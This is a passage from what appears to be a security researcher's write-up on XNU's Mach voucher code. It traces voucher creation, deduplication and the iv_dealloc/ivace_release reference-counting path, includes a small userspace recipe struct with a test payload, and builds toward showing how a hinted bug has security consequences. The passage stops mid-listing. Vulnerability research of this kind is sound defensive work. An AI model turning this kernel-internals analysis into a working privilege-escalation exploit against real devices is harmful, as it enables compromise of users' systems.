<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p><a id="t.49ce745eb25ac89c231f0c471abc9f82f9797477"></a><a id="t.35"></a><table class="BGLtzooHlW-c12"><tbody><tr class="BGLtzooHlW-c1"><td class="BGLtzooHlW-c13" colspan="1" rowspan="1">
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c6">static</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">void</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4">iv_set</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">ipc_voucher_t iv</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> iv_index_t key_index</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> iv_index_t value_index</span><span class="BGLtzooHlW-c2">)</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">assert</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">key_index </span><span class="BGLtzooHlW-c2"><</span><span class="BGLtzooHlW-c4"> iv</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">iv_table_size</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> iv</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">iv_table</span><span class="BGLtzooHlW-c2">[</span><span class="BGLtzooHlW-c4">key_index</span><span class="BGLtzooHlW-c2">]</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> value_index</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c2">}</span></p></td></tr></tbody></table>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>Our journey following this recipe is almost over! Since we only supplied one sub-recipe we exit the loop in </span><span class="BGLtzooHlW-c11">host_create_mach_voucher</span><span> and reach the call to </span><span class="BGLtzooHlW-c11">iv_dedup</span><span class="BGLtzooHlW-c10">:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p><a id="t.bdeacdf6e0a60502a972f38307eadc992aacd7de"></a><a id="t.36"></a><table class="BGLtzooHlW-c12"><tbody><tr class="BGLtzooHlW-c1"><td class="BGLtzooHlW-c13" colspan="1" rowspan="1">
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">if</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">KERN_SUCCESS </span><span class="BGLtzooHlW-c2">==</span><span class="BGLtzooHlW-c4"> kr</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">*</span><span class="BGLtzooHlW-c4">new_voucher </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> iv_dedup</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">voucher</span><span class="BGLtzooHlW-c2">);</span></p></td></tr></tbody></table>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>I won't show the code for </span><span class="BGLtzooHlW-c11">iv_dedup</span><span> here because it's again structurally almost identical to the two other levels of deduping we've examined. In fact it's a little simpler because it can hold the associated hash table lock the whole time (via </span><span class="BGLtzooHlW-c11">ivht_lock()</span><span>) since it doesn't need to allocate anything. If a match is found (that is, the hash table already contains a voucher with exactly the same set of value indexes) then a reference is taken on that existing voucher and a reference is dropped on the voucher we just created from the input recipe via </span><span class="BGLtzooHlW-c11">iv_dealloc</span><span class="BGLtzooHlW-c10">:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p><a id="t.1101ce1325bc496de996015edaf1a773d5d5120c"></a><a id="t.37"></a><table class="BGLtzooHlW-c12"><tbody><tr class="BGLtzooHlW-c1"><td class="BGLtzooHlW-c13" colspan="1" rowspan="1">
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4">iv_dealloc</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">new_iv</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> FALSE</span><span class="BGLtzooHlW-c2">);</span></p></td></tr></tbody></table>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>The </span><span class="BGLtzooHlW-c11">FALSE</span><span> argument here indicates that </span><span class="BGLtzooHlW-c11">new_iv</span><span> isn't in the </span><span class="BGLtzooHlW-c11">ivht_bucket</span><span class="BGLtzooHlW-c10"> hashtable so shouldn't be removed from there if it is going to be destroyed. Vouchers are only added to the hashtable after the deduping process to prevent deduplication happening against incomplete vouchers.</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>The final step occurs when </span><span class="BGLtzooHlW-c11">host_create_mach_voucher</span><span> returns. Since this is a MIG method, if it returns success and </span><span class="BGLtzooHlW-c11">new_voucher</span><span> isn't </span><span class="BGLtzooHlW-c11">IV_NULL</span><span>,</span><span> </span><span class="BGLtzooHlW-c11">new_voucher</span><span> will be converted into a mach port; a send right to which will be given to the userspace caller. This is the final level of deduplication; there can only ever be one mach port representing a particular voucher. This is implemented by the voucher structure's </span><span class="BGLtzooHlW-c11">iv_port</span><span class="BGLtzooHlW-c10"> member.</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>(For the sake of completeness note that there are actually two userspace interfaces to </span><span class="BGLtzooHlW-c11">host_create_mach_voucher</span><span>; the host port MIG method and also the </span><span class="BGLtzooHlW-c11">host_create_mach_voucher_trap</span><span class="BGLtzooHlW-c10"> mach trap. The trap interface has to emulate the MIG semantics though.)</span></p><h2 class="BGLtzooHlW-c18 BGLtzooHlW-c5" id="h.gt3jam2tl3zw"><span>Destruction</span></h2>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c10">Although I did briefly hint at a vulnerability above we still haven't actually seen enough code to determine that that bug actually has any security consequences. This is where things get complicated ;-)</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c10">Let's start with the result of the situation we described above, where we created a voucher port with the following recipe:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p><a id="t.a9632b719aa64a5ca7f22f3e9944b5fd0708e9e6"></a><a id="t.38"></a><table class="BGLtzooHlW-c12"><tbody><tr class="BGLtzooHlW-c1"><td class="BGLtzooHlW-c13" colspan="1" rowspan="1">
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c6">struct</span><span class="BGLtzooHlW-c4"> udata_dword_recipe </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> mach_voucher_attr_recipe_data_t recipe</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> uint32_t payload</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c2">};</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c6">struct</span><span class="BGLtzooHlW-c4"> udata_dword_recipe r </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span><span class="BGLtzooHlW-c15">0</span><span class="BGLtzooHlW-c2">};</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4">r</span><span class="BGLtzooHlW-c2">.</span><span class="BGLtzooHlW-c4">recipe</span><span class="BGLtzooHlW-c2">.</span><span class="BGLtzooHlW-c4">key </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> MACH_VOUCHER_ATTR_KEY_USER_DATA</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4">r</span><span class="BGLtzooHlW-c2">.</span><span class="BGLtzooHlW-c4">recipe</span><span class="BGLtzooHlW-c2">.</span><span class="BGLtzooHlW-c4">command </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> MACH_VOUCHER_ATTR_USER_DATA_STORE</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4">r</span><span class="BGLtzooHlW-c2">.</span><span class="BGLtzooHlW-c4">recipe</span><span class="BGLtzooHlW-c2">.</span><span class="BGLtzooHlW-c4">content_size </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">sizeof</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">uint32_t</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4">r</span><span class="BGLtzooHlW-c2">.</span><span class="BGLtzooHlW-c4">payload </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c15">0x41414141</span><span class="BGLtzooHlW-c2">;</span></p></td></tr></tbody></table>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c10">This will end up with the following data structures in the kernel:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p><a id="t.1c923ba263ede6be48f5e3994bd28dbf63e17419"></a><a id="t.39"></a><table class="BGLtzooHlW-c12"><tbody><tr class="BGLtzooHlW-c1"><td class="BGLtzooHlW-c13" colspan="1" rowspan="1">
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4">voucher_port </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ip_kobject </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> reference</span><span class="BGLtzooHlW-c2">-</span><span class="BGLtzooHlW-c3">counted pointer to the voucher</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c2">}</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4">voucher </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> iv_refs </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c15">1</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> iv_table</span><span class="BGLtzooHlW-c2">[</span><span class="BGLtzooHlW-c15">6</span><span class="BGLtzooHlW-c2">]</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> reference</span><span class="BGLtzooHlW-c2">-</span><span class="BGLtzooHlW-c4">counted </span><span class="BGLtzooHlW-c2">*</span><span class="BGLtzooHlW-c4">index</span><span class="BGLtzooHlW-c2">*</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">into</span><span class="BGLtzooHlW-c3"> user_data controller's ivac_table</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c2">}</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4">controller </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivace_table</span><span class="BGLtzooHlW-c2">[</span><span class="BGLtzooHlW-c4">index</span><span class="BGLtzooHlW-c2">]</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">=</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivace_refs </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c15">1</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivace_made </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c15">1</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivace_value </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c3"> pointer to user_data_value_element</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">}</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c2">}</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4">user_data_value_element </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> e_made </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c15">1</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> e_data</span><span class="BGLtzooHlW-c2">[]</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span><span class="BGLtzooHlW-c15">0x41</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c15">0x41</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c15">0x41</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c15">0x41</span><span class="BGLtzooHlW-c2">}</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c2">}</span></p></td></tr></tbody></table>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c10">Let's look at what happens when we drop the only send right to the voucher port and the voucher gets deallocated.</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>We'll skip analysis of the mach port part; essentially, once all the send rights to the mach port holding a reference to the voucher are deallocated </span><span class="BGLtzooHlW-c11">iv_release</span><span> will get called to drop its reference on the voucher. And if that was the last reference </span><span class="BGLtzooHlW-c11">iv_release</span><span> calls </span><span class="BGLtzooHlW-c11">iv_dealloc</span><span class="BGLtzooHlW-c10"> and we'll pick up the code there:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p><a id="t.4b28abaa66e9cfb4075064152109c5280c8cf0e2"></a><a id="t.40"></a><table class="BGLtzooHlW-c12"><tbody><tr class="BGLtzooHlW-c1"><td class="BGLtzooHlW-c13" colspan="1" rowspan="1">
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c6">void</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4">iv_dealloc</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">ipc_voucher_t iv</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> boolean_t unhash</span><span class="BGLtzooHlW-c2">)</span></p></td></tr></tbody></table>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c11">iv_dealloc</span><span> removes the voucher from the hash table, destroys the mach port associated with the voucher (if there was one) then releases a reference on each value index in the </span><span class="BGLtzooHlW-c11">iv_table</span><span class="BGLtzooHlW-c10">:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p><a id="t.4f3ea1be5aeabd748f89b7dfdb88c89a35820b48"></a><a id="t.41"></a><table class="BGLtzooHlW-c12"><tbody><tr class="BGLtzooHlW-c1"><td class="BGLtzooHlW-c13" colspan="1" rowspan="1">
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">for</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">i </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c15">0</span><span class="BGLtzooHlW-c2">;</span><span class="BGLtzooHlW-c4"> i </span><span class="BGLtzooHlW-c2"><</span><span class="BGLtzooHlW-c4"> iv</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">iv_table_size</span><span class="BGLtzooHlW-c2">;</span><span class="BGLtzooHlW-c4"> i</span><span class="BGLtzooHlW-c2">++)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivace_release</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">i</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> iv</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">iv_table</span><span class="BGLtzooHlW-c2">[</span><span class="BGLtzooHlW-c4">i</span><span class="BGLtzooHlW-c2">]);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">}</span></p></td></tr></tbody></table>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>Recall that the index in the </span><span class="BGLtzooHlW-c11">iv_table</span><span> is the "key index", which is one less than the key, which is why </span><span class="BGLtzooHlW-c11">i</span><span> is being passed to </span><span class="BGLtzooHlW-c11">ivace_release</span><span>. The value in </span><span class="BGLtzooHlW-c11">iv_table</span><span> alone is meaningless without knowing under which index it was stored in the </span><span class="BGLtzooHlW-c11">iv_table</span><span>. Here's the start of </span><span class="BGLtzooHlW-c11">ivace_release</span><span class="BGLtzooHlW-c10">:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p><a id="t.3340385800b70e69984ecec61cc53f34e8b57d23"></a><a id="t.42"></a><table class="BGLtzooHlW-c12"><tbody><tr class="BGLtzooHlW-c1"><td class="BGLtzooHlW-c13" colspan="1" rowspan="1">
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c6">static</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">void</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4">ivace_release</span><span class="BGLtzooHlW-c2">(</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> iv_index_t key_index</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> iv_index_t value_index</span><span class="BGLtzooHlW-c2">)</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c2">...</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivgt_lookup</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">key_index</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> FALSE</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">&</span><span class="BGLtzooHlW-c4">ivam</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">&</span><span class="BGLtzooHlW-c4">ivac</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivac_lock</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">ivac</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">assert</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">value_index </span><span class="BGLtzooHlW-c2"><</span><span class="BGLtzooHlW-c4"> ivac</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivac_table_size</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivace </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">&</span><span class="BGLtzooHlW-c4">ivac</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivac_table</span><span class="BGLtzooHlW-c2">[</span><span class="BGLtzooHlW-c4">value_index</span><span class="BGLtzooHlW-c2">];</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">assert</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c15">0</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2"><</span><span class="BGLtzooHlW-c4"> ivace</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivace_refs</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/* cant release persistent values */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">if</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">ivace</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivace_persist</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivac_unlock</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">ivac</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">return</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">}</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">if</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c15">0</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2"><</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">--</span><span class="BGLtzooHlW-c4">ivace</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivace_refs</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivac_unlock</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">ivac</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">return</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">}</span></p></td></tr></tbody></table>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>First they grab references to the attribute manager and controller for the given key index (</span><span class="BGLtzooHlW-c11">ivam</span><span> and </span><span class="BGLtzooHlW-c11">ivac</span><span>), take the </span><span class="BGLtzooHlW-c11">ivac</span><span> lock then take calculate a pointer into the </span><span class="BGLtzooHlW-c11">ivac</span><span>'s </span><span class="BGLtzooHlW-c11">ivac_table</span><span> to get a pointer to the </span><span class="BGLtzooHlW-c11">ivac_entry</span><span> corresponding to the </span><span class="BGLtzooHlW-c11">value_index</span><span class="BGLtzooHlW-c10"> to be released.</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>If this entry is marked as persistent, then nothing happens, otherwise the </span><span class="BGLtzooHlW-c11">ivace_refs</span><span> field is decremented. If the reference count is still non-zero, they drop the </span><span class="BGLtzooHlW-c11">ivac</span><span>'s lock and return. Otherwise, the reference count of this </span><span class="BGLtzooHlW-c11">ivac_entry</span><span> has gone to zero and they will continue on to "free" the </span><span class="BGLtzooHlW-c11">ivac_entry</span><span>. As noted before, this isn't going to free the </span><span class="BGLtzooHlW-c11">ivac_entry</span><span class="BGLtzooHlW-c10"> to the zone allocator; the entry is just an entry in an array and in its free state its index is present in a freelist of empty indexes. The code continues thus:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p><a id="t.3548b2c452dd7eb3579b0290670f339199044845"></a><a id="t.43"></a><table class="BGLtzooHlW-c12"><tbody><tr class="BGLtzooHlW-c1"><td class="BGLtzooHlW-c13" colspan="1" rowspan="1">
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> key </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> iv_index_to_key</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">key_index</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">assert</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">MACH_VOUCHER_ATTR_KEY_NONE </span><span class="BGLtzooHlW-c2">!=</span><span class="BGLtzooHlW-c4"> key</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/*</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7"> * if last return reply is still pending,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7"> * let it handle this later return when</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7"> * the previous reply comes in.</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7"> */</span></p>
